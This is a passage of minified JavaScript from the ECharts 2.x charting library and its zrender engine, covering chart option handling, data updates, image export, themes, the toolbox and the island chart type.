e.timeline?this._setTimelineOption(e):this._setOption(e,t)},_setOption:function(e,t,i){return!t&&this._option?this._option=o.merge(this.getOption(),o.clone(e),!0):(this._option=o.clone(e),!i&&this._timeline&&this._timeline.dispose()),this._optionRestore=o.clone(this._option),this._option.series&&0!==this._option.series.length?(this.component.dataZoom&&(this._option.dataZoom||this._option.toolbox&&this._option.toolbox.feature&&this._option.toolbox.feature.dataZoom&&this._option.toolbox.feature.dataZoom.show)&&this.component.dataZoom.syncOption(this._option),this._toolbox.reset(this._option),this._render(this._option),this):void this._zr.clear()},getOption:function(){function e(e){var n=i._optionRestore[e];if(n)if(n instanceof Array)for(var a=n.length;a--;)t[e][a].data=o.clone(n[a].data);else t[e].data=o.clone(n.data)}var t=o.clone(this._option),i=this;return e("xAxis"),e("yAxis"),e("series"),t},setSeries:function(e,t){return t?(this._option.series=e,this.setOption(this._option,t)):this.setOption({series:e}),this},getSeries:function(){return this.getOption().series},_setTimelineOption:function(t){this._timeline&&this._timeline.dispose();var i=e("./component/timeline"),n=new i(this._themeConfig,this._messageCenter,this._zr,t,this);return this._timeline=n,this.component.timeline=this._timeline,this},addData:function(e,t,i,n,r){function s(){if(V._zr){V._zr.clearAnimation();for(var e=0,t=X.length;t>e;e++)X[e].motionlessOnce=h.addDataAnimation&&X[e].addDataAnimation;V._messageCenter.dispatch(a.EVENT.REFRESH,null,{option:h},V)}}for(var l=e instanceof Array?e:[[e,t,i,n,r]],h=this.getOption(),m=this._optionRestore,V=this,U=0,d=l.length;d>U;U++){e=l[U][0],t=l[U][1],i=l[U][2],n=l[U][3],r=l[U][4];var p=m.series[e],c=i?"unshift":"push",u=i?"pop":"shift";if(p){var y=p.data,g=h.series[e].data;if(y[c](t),g[c](t),n||(y[u](),t=g[u]()),null!=r){var b,f;if(p.type===a.CHART_TYPE_PIE&&(b=m.legend)&&(f=b.data)){var k=h.legend.data;if(f[c](r),k[c](r),!n){var x=o.indexOf(f,t.name);-1!=x&&f.splice(x,1),x=o.indexOf(k,t.name),-1!=x&&k.splice(x,1)}}else if(null!=m.xAxis&&null!=m.yAxis){var _,L,W=p.xAxisIndex||0;(null==m.xAxis[W].type||"category"===m.xAxis[W].type)&&(_=m.xAxis[W].data,L=h.xAxis[W].data,_[c](r),L[c](r),n||(_[u](),L[u]())),W=p.yAxisIndex||0,"category"===m.yAxis[W].type&&(_=m.yAxis[W].data,L=h.yAxis[W].data,_[c](r),L[c](r),n||(_[u](),L[u]()))}}this._option.series[e].data=h.series[e].data}}this._zr.clearAnimation();for(var X=this._chartList,v=0,w=function(){v--,0===v&&s()},U=0,d=X.length;d>U;U++)h.addDataAnimation&&X[U].addDataAnimation&&(v++,X[U].addDataAnimation(l,w));return this.component.dataZoom&&this.component.dataZoom.syncOption(h),this._option=h,h.addDataAnimation||setTimeout(s,0),this},addMarkPoint:function(e,t){return this._addMark(e,t,"markPoint")},addMarkLine:function(e,t){return this._addMark(e,t,"markLine")},_addMark:function(e,t,i){var n,a=this._option.series;if(a&&(n=a[e])){var r=this._optionRestore.series,s=r[e],l=n[i],h=s[i];l=n[i]=l||{data:[]},h=s[i]=h||{data:[]};for(var m in t)"data"===m?(l.data=l.data.concat(t.data),h.data=h.data.concat(t.data)):"object"!=typeof t[m]||null==l[m]?l[m]=h[m]=t[m]:(o.merge(l[m],t[m],!0),o.merge(h[m],t[m],!0));var V=this.chart[n.type];V&&V.addMark(e,t,i)}return this},delMarkPoint:function(e,t){return this._delMark(e,t,"markPoint")},delMarkLine:function(e,t){return this._delMark(e,t,"markLine")},_delMark:function(e,t,i){var n,a,o,r=this._option.series;if(!(r&&(n=r[e])&&(a=n[i])&&(o=a.data)))return this;t=t.split(" > ");for(var s=-1,l=0,h=o.length;h>l;l++){var m=o[l];if(m instanceof Array){if(m[0].name===t[0]&&m[1].name===t[1]){s=l;break}}else if(m.name===t[0]){s=l;break}}if(s>-1){o.splice(s,1),this._optionRestore.series[e][i].data.splice(s,1);var V=this.chart[n.type];V&&V.delMark(e,t.join(" > "),i)}return this},getDom:function(){return this.dom},getZrender:function(){return this._zr},getDataURL:function(e){if(!l)return"";if(0===this._chartList.length){var t="IMG"+this.id,i=document.getElementById(t);if(i)return i.src}var n=this.component.tooltip;switch(n&&n.hideTip(),e){case"jpeg":break;default:e="png"}var a=this._option.backgroundColor;return a&&"rgba(0,0,0,0)"===a.replace(" ","")&&(a="#fff"),this._zr.toDataURL("image/"+e,a)},getImage:function(e){var t=this._optionRestore.title,i=document.createElement("img");return i.src=this.getDataURL(e),i.title=t&&t.text||"ECharts",i},getConnectedDataURL:function(t){if(!this.isConnected())return this.getDataURL(t);var i=this.dom,n={self:{img:this.getDataURL(t),left:i.offsetLeft,top:i.offsetTop,right:i.offsetLeft+i.offsetWidth,bottom:i.offsetTop+i.offsetHeight}},a=n.self.left,o=n.self.top,r=n.self.right,s=n.self.bottom;for(var l in this._connected)i=this._connected[l].getDom(),n[l]={img:this._connected[l].getDataURL(t),left:i.offsetLeft,top:i.offsetTop,right:i.offsetLeft+i.offsetWidth,bottom:i.offsetTop+i.offsetHeight},a=Math.min(a,n[l].left),o=Math.min(o,n[l].top),r=Math.max(r,n[l].right),s=Math.max(s,n[l].bottom);var h=document.createElement("div");h.style.position="absolute",h.style.left="-4000px",h.style.width=r-a+"px",h.style.height=s-o+"px",document.body.appendChild(h);var m=e("zrender").init(h),V=e("zrender/shape/Image");for(var l in n)m.addShape(new V({style:{x:n[l].left-a,y:n[l].top-o,image:n[l].img}}));m.render();var U=this._option.backgroundColor;U&&"rgba(0,0,0,0)"===U.replace(/ /g,"")&&(U="#fff");var d=m.toDataURL("image/png",U);return setTimeout(function(){m.dispose(),h.parentNode.removeChild(h),h=null},100),d},getConnectedImage:function(e){var t=this._optionRestore.title,i=document.createElement("img");return i.src=this.getConnectedDataURL(e),i.title=t&&t.text||"ECharts",i},on:function(e,t){return this._messageCenterOutSide.bind(e,t,this),this},un:function(e,t){return this._messageCenterOutSide.unbind(e,t),this},connect:function(e){if(!e)return this;if(this._connected||(this._connected={}),e instanceof Array)for(var t=0,i=e.length;i>t;t++)this._connected[e[t].id]=e[t];else this._connected[e.id]=e;return this},disConnect:function(e){if(!e||!this._connected)return this;if(e instanceof Array)for(var t=0,i=e.length;i>t;t++)delete this._connected[e[t].id];else delete this._connected[e.id];for(var n in this._connected)return this;return this._connected=!1,this},connectedEventHandler:function(e){e.__echartsId!=this.id&&this._onevent(e)},isConnected:function(){return!!this._connected},showLoading:function(t){var i={bar:e("zrender/loadingEffect/Bar"),bubble:e("zrender/loadingEffect/Bubble"),dynamicLine:e("zrender/loadingEffect/DynamicLine"),ring:e("zrender/loadingEffect/Ring"),spin:e("zrender/loadingEffect/Spin"),whirling:e("zrender/loadingEffect/Whirling")};this._toolbox.hideDataView(),t=t||{};var n=t.textStyle||{};t.textStyle=n;var r=o.merge(o.merge(o.clone(n),this._themeConfig.textStyle),a.textStyle);n.textFont=r.fontStyle+" "+r.fontWeight+" "+r.fontSize+"px "+r.fontFamily,n.text=t.text||this._option&&this._option.loadingText||this._themeConfig.loadingText||a.loadingText,null!=t.x&&(n.x=t.x),null!=t.y&&(n.y=t.y),t.effectOption=t.effectOption||{},t.effectOption.textStyle=n;var s=t.effect;return("string"==typeof s||null==s)&&(s=i[t.effect||this._option&&this._option.loadingEffect||this._themeConfig.loadingEffect||a.loadingEffect]||i.spin),this._zr.showLoading(new s(t.effectOption)),this},hideLoading:function(){return this._zr.hideLoading(),this},setTheme:function(t){if(t){if("string"==typeof t)switch(t){case"macarons":t=e("./theme/macarons");break;case"infographic":t=e("./theme/infographic");break;default:t={}}else t=t||{};this._themeConfig=t}if(!l){var i=this._themeConfig.textStyle;i&&i.fontFamily&&i.fontFamily2&&(i.fontFamily=i.fontFamily2),i=a.textStyle,i.fontFamily=i.fontFamily2}this._timeline&&this._timeline.setTheme(!0),this._optionRestore&&this.restore()},resize:function(){var e=this;return function(){if(e._clearEffect(),e._zr.resize(),e._option&&e._option.renderAsImage&&l)return e._render(e._option),e;e._zr.clearAnimation(),e._island.resize(),e._toolbox.resize(),e._timeline&&e._timeline.resize();for(var t=0,i=e._chartList.length;i>t;t++)e._chartList[t].resize&&e._chartList[t].resize();return e.component.grid&&e.component.grid.refixAxisShape(e.component),e._zr.refresh(),e._messageCenter.dispatch(a.EVENT.RESIZE,null,null,e),e}},_clearEffect:function(){this._zr.modLayer(a.EFFECT_ZLEVEL,{motionBlur:!1}),this._zr.painter.clearLayer(a.EFFECT_ZLEVEL)},clear:function(){return this._disposeChartList(),this._zr.clear(),this._option={},this._optionRestore={},this.dom.style.backgroundColor=null,this},dispose:function(){var e=this.dom.getAttribute(V);e&&delete m[e],this._island.dispose(),this._toolbox.dispose(),this._timeline&&this._timeline.dispose(),this._messageCenter.unbind(),this.clear(),this._zr.dispose(),this._zr=null}},s}),i("echarts/config",[],function(){var e={CHART_TYPE_LINE:"line",CHART_TYPE_BAR:"bar",CHART_TYPE_SCATTER:"scatter",CHART_TYPE_PIE:"pie",CHART_TYPE_RADAR:"radar",CHART_TYPE_VENN:"venn",CHART_TYPE_TREEMAP:"treemap",CHART_TYPE_TREE:"tree",CHART_TYPE_MAP:"map",CHART_TYPE_K:"k",CHART_TYPE_ISLAND:"island",CHART_TYPE_FORCE:"force",CHART_TYPE_CHORD:"chord",CHART_TYPE_GAUGE:"gauge",CHART_TYPE_FUNNEL:"funnel",CHART_TYPE_EVENTRIVER:"eventRiver",CHART_TYPE_WORDCLOUD:"wordCloud",CHART_TYPE_HEATMAP:"heatmap",COMPONENT_TYPE_TITLE:"title",COMPONENT_TYPE_LEGEND:"legend",COMPONENT_TYPE_DATARANGE:"dataRange",COMPONENT_TYPE_DATAVIEW:"dataView",COMPONENT_TYPE_DATAZOOM:"dataZoom",COMPONENT_TYPE_TOOLBOX:"toolbox",COMPONENT_TYPE_TOOLTIP:"tooltip",COMPONENT_TYPE_GRID:"grid",COMPONENT_TYPE_AXIS:"axis",COMPONENT_TYPE_POLAR:"polar",COMPONENT_TYPE_X_AXIS:"xAxis",COMPONENT_TYPE_Y_AXIS:"yAxis",COMPONENT_TYPE_AXIS_CATEGORY:"categoryAxis",COMPONENT_TYPE_AXIS_VALUE:"valueAxis",COMPONENT_TYPE_TIMELINE:"timeline",COMPONENT_TYPE_ROAMCONTROLLER:"roamController",backgroundColor:"rgba(0,0,0,0)",color:["#ff7f50","#87cefa","#da70d6","#32cd32","#6495ed","#ff69b4","#ba55d3","#cd5c5c","#ffa500","#40e0d0","#1e90ff","#ff6347","#7b68ee","#00fa9a","#ffd700","#6699FF","#ff6666","#3cb371","#b8860b","#30e0e0"],markPoint:{clickable:!0,symbol:"pin",symbolSize:10,large:!1,effect:{show:!1,loop:!0,period:15,type:"scale",scaleSize:2,bounceDistance:10},itemStyle:{normal:{borderWidth:2,label:{show:!0,position:"inside"}},emphasis:{label:{show:!0}}}},markLine:{clickable:!0,symbol:["circle","arrow"],symbolSize:[2,4],smoothness:.2,precision:2,effect:{show:!1,loop:!0,period:15,scaleSize:2},bundling:{enable:!1,maxTurningAngle:45},itemStyle:{normal:{borderWidth:1.5,label:{show:!0,position:"end"},lineStyle:{type:"dashed"}},emphasis:{label:{show:!1},lineStyle:{}}}},textStyle:{decoration:"none",fontFamily:"Arial, Verdana, sans-serif",fontFamily2:"微软雅黑",fontSize:12,fontStyle:"normal",fontWeight:"normal"},EVENT:{REFRESH:"refresh",RESTORE:"restore",RESIZE:"resize",CLICK:"click",DBLCLICK:"dblclick",HOVER:"hover",MOUSEOUT:"mouseout",DATA_CHANGED:"dataChanged",DATA_ZOOM:"dataZoom",DATA_RANGE:"dataRange",DATA_RANGE_SELECTED:"dataRangeSelected",DATA_RANGE_HOVERLINK:"dataRangeHoverLink",LEGEND_SELECTED:"legendSelected",LEGEND_HOVERLINK:"legendHoverLink",MAP_SELECTED:"mapSelected",PIE_SELECTED:"pieSelected",MAGIC_TYPE_CHANGED:"magicTypeChanged",DATA_VIEW_CHANGED:"dataViewChanged",TIMELINE_CHANGED:"timelineChanged",MAP_ROAM:"mapRoam",FORCE_LAYOUT_END:"forceLayoutEnd",TOOLTIP_HOVER:"tooltipHover",TOOLTIP_IN_GRID:"tooltipInGrid",TOOLTIP_OUT_GRID:"tooltipOutGrid",ROAMCONTROLLER:"roamController"},DRAG_ENABLE_TIME:120,EFFECT_ZLEVEL:10,effectBlendAlpha:.95,symbolList:["circle","rectangle","triangle","diamond","emptyCircle","emptyRectangle","emptyTriangle","emptyDiamond"],loadingEffect:"spin",loadingText:"数据读取中...",noDataEffect:"bubble",noDataText:"暂无数据",calculable:!1,calculableColor:"rgba(255,165,0,0.6)",calculableHolderColor:"#ccc",nameConnector:" & ",valueConnector:": ",animation:!0,addDataAnimation:!0,animationThreshold:2e3,animationDuration:2e3,animationDurationUpdate:500,animationEasing:"ExponentialOut"};return e}),i("zrender/tool/util",["require","../dep/excanvas"],function(e){function t(e){return e&&1===e.nodeType&&"string"==typeof e.nodeName}function i(e){if("object"==typeof e&&null!==e){var n=e;if(e instanceof Array){n=[];for(var a=0,o=e.length;o>a;a++)n[a]=i(e[a])}else if(!y[g.call(e)]&&!t(e)){n={};for(var r in e)e.hasOwnProperty(r)&&(n[r]=i(e[r]))}return n}return e}function n(e,i,n,o){if(i.hasOwnProperty(n)){var r=e[n];"object"!=typeof r||y[g.call(r)]||t(r)?!o&&n in e||(e[n]=i[n]):a(e[n],i[n],o)}}function a(e,t,i){for(var a in t)n(e,t,a,i);return e}function o(){if(!U)if(e("../dep/excanvas"),window.G_vmlCanvasManager){var t=document.createElement("div");t.style.position="absolute",t.style.top="-1000px",document.body.appendChild(t),U=G_vmlCanvasManager.initElement(t).getContext("2d")}else U=document.createElement("canvas").getContext("2d");return U}function r(e,t){if(e.indexOf)return e.indexOf(t);for(var i=0,n=e.length;n>i;i++)if(e[i]===t)return i;return-1}function s(e,t){function i(){}var n=e.prototype;i.prototype=t.prototype,e.prototype=new i;for(var a in n)e.prototype[a]=n[a];e.constructor=e}function l(e,t,i){if(e&&t)if(e.forEach&&e.forEach===p)e.forEach(t,i);else if(e.length===+e.length)for(var n=0,a=e.length;a>n;n++)t.call(i,e[n],n,e);else for(var o in e)e.hasOwnProperty(o)&&t.call(i,e[o],o,e)}function h(e,t,i){if(e&&t){if(e.map&&e.map===c)return e.map(t,i);for(var n=[],a=0,o=e.length;o>a;a++)n.push(t.call(i,e[a],a,e));return n}}function m(e,t,i){if(e&&t){if(e.filter&&e.filter===u)return e.filter(t,i);for(var n=[],a=0,o=e.length;o>a;a++)t.call(i,e[a],a,e)&&n.push(e[a]);return n}}function V(e,t){return function(){e.apply(t,arguments)}}var U,d=Array.prototype,p=d.forEach,c=d.map,u=d.filter,y={"[object Function]":1,"[object RegExp]":1,"[object Date]":1,"[object Error]":1,"[object CanvasGradient]":1},g=Object.prototype.toString;return{inherits:s,clone:i,merge:a,getContext:o,indexOf:r,each:l,map:h,filter:m,bind:V}}),i("zrender/tool/event",["require","../mixin/Eventful"],function(e){"use strict";function t(e){return"undefined"!=typeof e.zrenderX&&e.zrenderX||"undefined"!=typeof e.offsetX&&e.offsetX||"undefined"!=typeof e.layerX&&e.layerX||"undefined"!=typeof e.clientX&&e.clientX}function i(e){return"undefined"!=typeof e.zrenderY&&e.zrenderY||"undefined"!=typeof e.offsetY&&e.offsetY||"undefined"!=typeof e.layerY&&e.layerY||"undefined"!=typeof e.clientY&&e.clientY}function n(e){return"undefined"!=typeof e.zrenderDelta&&e.zrenderDelta||"undefined"!=typeof e.wheelDelta&&e.wheelDelta||"undefined"!=typeof e.detail&&-e.detail}var a=e("../mixin/Eventful"),o="function"==typeof window.addEventListener?function(e){e.preventDefault(),e.stopPropagation(),e.cancelBubble=!0}:function(e){e.returnValue=!1,e.cancelBubble=!0};return{getX:t,getY:i,getDelta:n,stop:o,Dispatcher:a}}),i("zrender/tool/env",[],function(){function e(e){var t=this.os={},i=this.browser={},n=e.match(/Web[kK]it[\/]{0,1}([\d.]+)/),a=e.match(/(Android);?[\s\/]+([\d.]+)?/),o=e.match(/(iPad).*OS\s([\d_]+)/),r=e.match(/(iPod)(.*OS\s([\d_]+))?/),s=!o&&e.match(/(iPhone\sOS)\s([\d_]+)/),l=e.match(/(webOS|hpwOS)[\s\/]([\d.]+)/),h=l&&e.match(/TouchPad/),m=e.match(/Kindle\/([\d.]+)/),V=e.match(/Silk\/([\d._]+)/),U=e.match(/(BlackBerry).*Version\/([\d.]+)/),d=e.match(/(BB10).*Version\/([\d.]+)/),p=e.match(/(RIM\sTablet\sOS)\s([\d.]+)/),c=e.match(/PlayBook/),u=e.match(/Chrome\/([\d.]+)/)||e.match(/CriOS\/([\d.]+)/),y=e.match(/Firefox\/([\d.]+)/),g=e.match(/MSIE ([\d.]+)/),b=n&&e.match(/Mobile\//)&&!u,f=e.match(/(iPhone|iPod|iPad).*AppleWebKit(?!.*Safari)/)&&!u,g=e.match(/MSIE\s([\d.]+)/);return(i.webkit=!!n)&&(i.version=n[1]),a&&(t.android=!0,t.version=a[2]),s&&!r&&(t.ios=t.iphone=!0,t.version=s[2].replace(/_/g,".")),o&&(t.ios=t.ipad=!0,t.version=o[2].replace(/_/g,".")),r&&(t.ios=t.ipod=!0,t.version=r[3]?r[3].replace(/_/g,"."):null),l&&(t.webos=!0,t.version=l[2]),h&&(t.touchpad=!0),U&&(t.blackberry=!0,t.version=U[2]),d&&(t.bb10=!0,t.version=d[2]),p&&(t.rimtabletos=!0,t.version=p[2]),c&&(i.playbook=!0),m&&(t.kindle=!0,t.version=m[1]),V&&(i.silk=!0,i.version=V[1]),!V&&t.android&&e.match(/Kindle Fire/)&&(i.silk=!0),u&&(i.chrome=!0,i.version=u[1]),y&&(i.firefox=!0,i.version=y[1]),g&&(i.ie=!0,i.version=g[1]),b&&(e.match(/Safari/)||t.ios)&&(i.safari=!0),f&&(i.webview=!0),g&&(i.ie=!0,i.version=g[1]),t.tablet=!!(o||c||a&&!e.match(/Mobile/)||y&&e.match(/Tablet/)||g&&!e.match(/Phone/)&&e.match(/Touch/)),t.phone=!(t.tablet||t.ipod||!(a||s||l||U||d||u&&e.match(/Android/)||u&&e.match(/CriOS\/([\d.]+)/)||y&&e.match(/Mobile/)||g&&e.match(/Touch/))),{browser:i,os:t,canvasSupported:document.createElement("canvas").getContext?!0:!1}}return e(navigator.userAgent)}),i("zrender",["zrender/zrender"],function(e){return e}),i("zrender/zrender",["require","./dep/excanvas","./tool/util","./tool/log","./tool/guid","./Handler","./Painter","./Storage","./animation/Animation","./tool/env"],function(e){function t(e){return function(){e._needsRefreshNextFrame&&e.refresh()}}e("./dep/excanvas");var i=e("./tool/util"),n=e("./tool/log"),a=e("./tool/guid"),o=e("./Handler"),r=e("./Painter"),s=e("./Storage"),l=e("./animation/Animation"),h={},m={};m.version="2.1.1",m.init=function(e){var t=new V(a(),e);return h[t.id]=t,t},m.dispose=function(e){if(e)e.dispose();else{for(var t in h)h[t].dispose();h={}}return m},m.getInstance=function(e){return h[e]},m.delInstance=function(e){return delete h[e],m};var V=function(i,n){this.id=i,this.env=e("./tool/env"),this.storage=new s,this.painter=new r(n,this.storage),this.handler=new o(n,this.storage,this.painter),this.animation=new l({stage:{update:t(this)}}),this.animation.start();var a=this;this.painter.refreshNextFrame=function(){a.refreshNextFrame()},this._needsRefreshNextFrame=!1;var a=this,h=this.storage,m=h.delFromMap;h.delFromMap=function(e){var t=h.get(e);a.stopAnimation(t),m.call(h,e)}};return V.prototype.getId=function(){return this.id},V.prototype.addShape=function(e){return this.addElement(e),this},V.prototype.addGroup=function(e){return this.addElement(e),this},V.prototype.delShape=function(e){return this.delElement(e),this},V.prototype.delGroup=function(e){return this.delElement(e),this},V.prototype.modShape=function(e,t){return this.modElement(e,t),this},V.prototype.modGroup=function(e,t){return this.modElement(e,t),this},V.prototype.addElement=function(e){return this.storage.addRoot(e),this._needsRefreshNextFrame=!0,this},V.prototype.delElement=function(e){return this.storage.delRoot(e),this._needsRefreshNextFrame=!0,this},V.prototype.modElement=function(e,t){return this.storage.mod(e,t),this._needsRefreshNextFrame=!0,this},V.prototype.modLayer=function(e,t){return this.painter.modLayer(e,t),this._needsRefreshNextFrame=!0,this},V.prototype.addHoverShape=function(e){return this.storage.addHover(e),this},V.prototype.render=function(e){return this.painter.render(e),this._needsRefreshNextFrame=!1,this},V.prototype.refresh=function(e){return this.painter.refresh(e),this._needsRefreshNextFrame=!1,this},V.prototype.refreshNextFrame=function(){return this._needsRefreshNextFrame=!0,this},V.prototype.refreshHover=function(e){return this.painter.refreshHover(e),this},V.prototype.refreshShapes=function(e,t){return this.painter.refreshShapes(e,t),this},V.prototype.resize=function(){return this.painter.resize(),this},V.prototype.animate=function(e,t,a){var o=this;if("string"==typeof e&&(e=this.storage.get(e)),e){var r;if(t){for(var s=t.split("."),l=e,h=0,m=s.length;m>h;h++)l&&(l=l[s[h]]);l&&(r=l)}else r=e;if(!r)return void n('Property "'+t+'" is not existed in element '+e.id); + +null==e.__animators&&(e.__animators=[]);var V=e.__animators,U=this.animation.animate(r,{loop:a}).during(function(){o.modShape(e)}).done(function(){var t=i.indexOf(e.__animators,U);t>=0&&V.splice(t,1)});return V.push(U),U}n("Element not existed")},V.prototype.stopAnimation=function(e){if(e.__animators){for(var t=e.__animators,i=t.length,n=0;i>n;n++)t[n].stop();t.length=0}return this},V.prototype.clearAnimation=function(){return this.animation.clear(),this},V.prototype.showLoading=function(e){return this.painter.showLoading(e),this},V.prototype.hideLoading=function(){return this.painter.hideLoading(),this},V.prototype.getWidth=function(){return this.painter.getWidth()},V.prototype.getHeight=function(){return this.painter.getHeight()},V.prototype.toDataURL=function(e,t,i){return this.painter.toDataURL(e,t,i)},V.prototype.shapeToImage=function(e,t,i){var n=a();return this.painter.shapeToImage(n,e,t,i)},V.prototype.on=function(e,t,i){return this.handler.on(e,t,i),this},V.prototype.un=function(e,t){return this.handler.un(e,t),this},V.prototype.trigger=function(e,t){return this.handler.trigger(e,t),this},V.prototype.clear=function(){return this.storage.delRoot(),this.painter.clear(),this},V.prototype.dispose=function(){this.animation.stop(),this.clear(),this.storage.dispose(),this.painter.dispose(),this.handler.dispose(),this.animation=this.storage=this.painter=this.handler=null,m.delInstance(this.id)},m}),i("zrender/config",[],function(){var e={EVENT:{RESIZE:"resize",CLICK:"click",DBLCLICK:"dblclick",MOUSEWHEEL:"mousewheel",MOUSEMOVE:"mousemove",MOUSEOVER:"mouseover",MOUSEOUT:"mouseout",MOUSEDOWN:"mousedown",MOUSEUP:"mouseup",GLOBALOUT:"globalout",DRAGSTART:"dragstart",DRAGEND:"dragend",DRAGENTER:"dragenter",DRAGOVER:"dragover",DRAGLEAVE:"dragleave",DROP:"drop",touchClickDelay:300},elementClassName:"zr-element",catchBrushException:!1,debugMode:0,devicePixelRatio:Math.max(window.devicePixelRatio||1,1)};return e}),i("echarts/chart/island",["require","./base","zrender/shape/Circle","../config","../util/ecData","zrender/tool/util","zrender/tool/event","zrender/tool/color","../util/accMath","../chart"],function(e){function t(e,t,n,a,r){i.call(this,e,t,n,a,r),this._nameConnector,this._valueConnector,this._zrHeight=this.zr.getHeight(),this._zrWidth=this.zr.getWidth();var l=this;l.shapeHandler.onmousewheel=function(e){var t=e.target,i=e.event,n=s.getDelta(i);n=n>0?-1:1,t.style.r-=n,t.style.r=t.style.r<5?5:t.style.r;var a=o.get(t,"value"),r=a*l.option.island.calculateStep;a=r>1?Math.round(a-r*n):+(a-r*n).toFixed(2);var h=o.get(t,"name");t.style.text=h+":"+a,o.set(t,"value",a),o.set(t,"name",h),l.zr.modShape(t.id),l.zr.refreshNextFrame(),s.stop(i)}}var i=e("./base"),n=e("zrender/shape/Circle"),a=e("../config");a.island={zlevel:0,z:5,r:15,calculateStep:.1};var o=e("../util/ecData"),r=e("zrender/tool/util"),s=e("zrender/tool/event");return t.prototype={type:a.CHART_TYPE_ISLAND,_combine:function(t,i){var n=e("zrender/tool/color"),a=e("../util/accMath"),r=a.accAdd(o.get(t,"value"),o.get(i,"value")),s=o.get(t,"name")+this._nameConnector+o.get(i,"name");t.style.text=s+this._valueConnector+r,o.set(t,"value",r),o.set(t,"name",s),t.style.r=this.option.island.r,t.style.color=n.mix(t.style.color,i.style.color)},refresh:function(e){e&&(e.island=this.reformOption(e.island),this.option=e,this._nameConnector=this.option.nameConnector,this._valueConnector=this.option.valueConnector)},getOption:function(){return this.option},resize:function(){var e=this.zr.getWidth(),t=this.zr.getHeight(),i=e/(this._zrWidth||e),n=t/(this._zrHeight||t);if(1!==i||1!==n){this._zrWidth=e,this._zrHeight=t;for(var a=0,o=this.shapeList.length;o>a;a++)this.zr.modShape(this.shapeList[a].id,{style:{x:Math.round(this.shapeList[a].style.x*i),y:Math.round(this.shapeList[a].style.y*n)}})}},add:function(e){var t=o.get(e,"name"),i=o.get(e,"value"),a=null!=o.get(e,"series")?o.get(e,"series").name:"",r=this.getFont(this.option.island.textStyle),s=this.option.island,l={zlevel:s.zlevel,z:s.z,style:{x:e.style.x,y:e.style.y,r:this.option.island.r,color:e.style.color||e.style.strokeColor,text:t+this._valueConnector+i,textFont:r},draggable:!0,hoverable:!0,onmousewheel:this.shapeHandler.onmousewheel,_type:"island"};"#fff"===l.style.color&&(l.style.color=e.style.strokeColor),this.setCalculable(l),l.dragEnableTime=0,o.pack(l,{name:a},-1,i,-1,t),l=new n(l),this.shapeList.push(l),this.zr.addShape(l)},del:function(e){this.zr.delShape(e.id);for(var t=[],i=0,n=this.shapeList.length;n>i;i++)this.shapeList[i].id!=e.id&&t.push(this.shapeList[i]);this.shapeList=t},ondrop:function(e,t){if(this.isDrop&&e.target){var i=e.target,n=e.dragged;this._combine(i,n),this.zr.modShape(i.id),t.dragIn=!0,this.isDrop=!1}},ondragend:function(e,t){var i=e.target;this.isDragend?t.dragIn&&(this.del(i),t.needRefresh=!0):t.dragIn||(i.style.x=s.getX(e.event),i.style.y=s.getY(e.event),this.add(i),t.needRefresh=!0),this.isDragend=!1}},r.inherits(t,i),e("../chart").define("island",t),t}),i("echarts/component/toolbox",["require","./base","zrender/shape/Line","zrender/shape/Image","zrender/shape/Rectangle","../util/shape/Icon","../config","zrender/tool/util","zrender/config","zrender/tool/event","./dataView","../component"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.dom=o.dom,this._magicType={},this._magicMap={},this._isSilence=!1,this._iconList,this._iconShapeMap={},this._featureTitle={},this._featureIcon={},this._featureColor={},this._featureOption={},this._enableColor="red",this._disableColor="#ccc",this._markShapeList=[];var r=this;r._onMark=function(e){r.__onMark(e)},r._onMarkUndo=function(e){r.__onMarkUndo(e)},r._onMarkClear=function(e){r.__onMarkClear(e)},r._onDataZoom=function(e){r.__onDataZoom(e)},r._onDataZoomReset=function(e){r.__onDataZoomReset(e)},r._onDataView=function(e){r.__onDataView(e)},r._onRestore=function(e){r.__onRestore(e)},r._onSaveAsImage=function(e){r.__onSaveAsImage(e)},r._onMagicType=function(e){r.__onMagicType(e)},r._onCustomHandler=function(e){r.__onCustomHandler(e)},r._onmousemove=function(e){return r.__onmousemove(e)},r._onmousedown=function(e){return r.__onmousedown(e)},r._onmouseup=function(e){return r.__onmouseup(e)},r._onclick=function(e){return r.__onclick(e)}}var i=e("./base"),n=e("zrender/shape/Line"),a=e("zrender/shape/Image"),o=e("zrender/shape/Rectangle"),r=e("../util/shape/Icon"),s=e("../config");s.toolbox={zlevel:0,z:6,show:!1,orient:"horizontal",x:"right",y:"top",color:["#1e90ff","#22bb22","#4b0082","#d2691e"],disableColor:"#ddd",effectiveColor:"red",backgroundColor:"rgba(0,0,0,0)",borderColor:"#ccc",borderWidth:0,padding:5,itemGap:10,itemSize:16,showTitle:!0,feature:{mark:{show:!1,title:{mark:"辅助线开关",markUndo:"删除辅助线",markClear:"清空辅助线"},lineStyle:{width:1,color:"#1e90ff",type:"dashed"}},dataZoom:{show:!1,title:{dataZoom:"区域缩放",dataZoomReset:"区域缩放后退"}},dataView:{show:!1,title:"数据视图",readOnly:!1,lang:["数据视图","关闭","刷新"]},magicType:{show:!1,title:{line:"折线图切换",bar:"柱形图切换",stack:"堆积",tiled:"平铺",force:"力导向布局图切换",chord:"和弦图切换",pie:"饼图切换",funnel:"漏斗图切换"},type:[]},restore:{show:!1,title:"还原"},saveAsImage:{show:!1,title:"保存为图片",type:"png",lang:["点击保存"]}}};var l=e("zrender/tool/util"),h=e("zrender/config"),m=e("zrender/tool/event"),V="stack",U="tiled";return t.prototype={type:s.COMPONENT_TYPE_TOOLBOX,_buildShape:function(){this._iconList=[];var e=this.option.toolbox;this._enableColor=e.effectiveColor,this._disableColor=e.disableColor;var t=e.feature,i=[];for(var n in t)if(t[n].show)switch(n){case"mark":i.push({key:n,name:"mark"}),i.push({key:n,name:"markUndo"}),i.push({key:n,name:"markClear"});break;case"magicType":for(var a=0,o=t[n].type.length;o>a;a++)t[n].title[t[n].type[a]+"Chart"]=t[n].title[t[n].type[a]],t[n].option&&(t[n].option[t[n].type[a]+"Chart"]=t[n].option[t[n].type[a]]),i.push({key:n,name:t[n].type[a]+"Chart"});break;case"dataZoom":i.push({key:n,name:"dataZoom"}),i.push({key:n,name:"dataZoomReset"});break;case"saveAsImage":this.canvasSupported&&i.push({key:n,name:"saveAsImage"});break;default:i.push({key:n,name:n})}if(i.length>0){for(var 